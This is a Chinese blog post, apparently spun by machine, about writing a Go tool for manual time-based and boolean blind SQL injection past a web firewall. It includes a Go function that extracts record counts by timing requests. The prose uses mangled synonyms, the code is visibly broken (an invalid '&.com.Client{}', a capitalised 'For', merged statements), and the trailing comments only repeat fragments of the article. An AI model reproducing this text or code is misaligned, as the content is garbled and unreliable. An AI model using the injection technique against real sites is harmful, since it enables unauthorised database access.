使用Golang打造一款自己的手工盲注辅助工具
"序言
想干那么1个实用工具的念头来自好长时间以前用awvs扫描仪到个网站,存有廷时盲注,带服务器防火墙,自然环境是PHP+SQL SERVER,手工制作能绕过去,可是用sqlmap全自动跑的那时候,没法跑出一切的結果,最终手工制作检测出全部句子,写了1个py脚本制作告一段落。有兴趣爱好得话能够看看那时候的稿子纪录。
前不久又碰到了1个更奇怪的引入,数据库查询是PostgreSQL,存有服务器防火墙,能绕开,但绕开的方法不固定不动,例如某条句子中一些的地区出現空格符会被阻拦,一些地区沒有空格符也会被阻拦。此刻自动化技术专用工具就没办法起功效,恰好近期在学习培训golang,就惦记着用golang来打造出那么这款实用工具,先來个设计效果图。
0X01:设计理念
编程语言选用的GO,页面是用的GitHub上的1个开源系统包(还不健全,只有微信小程序可以了)。设计理念是应用二分法求ascii的方法来猜解空格符。这儿Http包的恰当分辨是选用长短和時间来开展分辨,分別相匹配布尔型盲注和应用场景時间的盲注。2个文本框,上边的是改动过的Http初始包,下边哪个是回到的結果。
程序流程总共内嵌了5个标示:<$qcount!> <$qlength!> <$length!> <$count!> <$qascii!>
<$qcount!>:查寻总数,用以查询表,字段名,內容的纪录数
<$qlength!>:相匹配每一总数的长短,一起必须相互配合应用<$count!>
<$qascii!> :相匹配每一空格符的ascii码值,一起必须相互配合应用<$length!>
重要编码给出:
func sqlInjectCountByTime(rawString string, rightTime float64, p *ui.ProgressBar) int {
p.SetValue(0)
a := 14.0 c := 0.4 f1 := 0 f2 := 12000 client := &.com.Client{}
var count int For { if f1 >= f2 {
count = 6789 break }
c = c + 1 showProgress(p, c, a)
start := time.Now()
ABP := (f1 + f2) / 2 midStr := strconv.Itoa(ABP)
modifyString := strings.Replace(rawString, ""<$qcount!>"", midStr, 1)
modifyRe := modifyRequest(modifyString)
response, err := client.Do(modifyRe)
elapsed := time.Now().Sub(start).Seconds() + 0.5 defer response.Body.Close()
checkError(err) if elapsed >= rightTime {
start2 := time.Now()
mid2Str := strconv.Itoa(ABP + 1)
modify2String := strings.Replace(rawString, ""<$qcount!>"", mid2Str, 1)
modify2Re := modifyRequest(modify2String)
response2, err := client.Do(modify2Re)
elapsed2 := time.Now().Sub(start2).Seconds() + 0.5 checkError(err)
defer response2.Body.Close() if elapsed2 < rightTime {
count = ABP + 1 break } else {
f1 = ABP + 1 }
} else {
f2 = ABP
}
}
p.SetValue(150) return count
}
这儿是依据時间来查看记录数的f2是较大的总数,这儿默认设置的12000。elapsed是上传包到接受包的时差,根据该值来分辨查寻否恰当。当地检测的那时候,手机软件是运作在win7,web自然环境构建在kali,我不知道是否因为系统时间涵数的差别,当你sleep(3),有时查寻恰当但接受到的时差会低于3,为2.99907。无限接近于3,因此最终加了0.5秒来均衡偏差,真實自然环境应当不容易有这一难题。
这儿举的是应用场景時间的分辨,应用场景布尔的相近,将回到包的长短与客户设定的长短
相关文章
- 4条评论
- 囤梦双笙2022-05-31 08:53:39
- 段落。有兴趣爱好得话能够看看那时候的稿子纪录。前不久又碰到了1个更奇怪的引入,数据库查询是PostgreSQL,存有服务器防火墙,能绕开,但绕开的方法不固定不动,例如某条句子中一些的地区出現空格符会被阻拦,一些地区沒有空格符也会被阻拦。此刻自动化技术专用工具就没办法起功效,恰好近
- 辙弃旧竹2022-05-31 15:37:05
- 哪个是回到的結果。程序流程总共内嵌了5个标示:<$qcount!> <$qlength!> <$length!> <$count!> <$
- 夙世春慵2022-05-31 07:50:06
- 纪录。前不久又碰到了1个更奇怪的引入,数据库查询是PostgreSQL,存有服务器防火墙,能绕开,但绕开的方法不固定不动,例如某条句子中一些的地区出現空格符会被
- 鸽吻孤央2022-05-31 11:19:23
- Time {start2 := time.Now()mid2Str := strconv.Itoa(ABP + 1)modify2String := strings.Replace(rawString, ""<$qcoun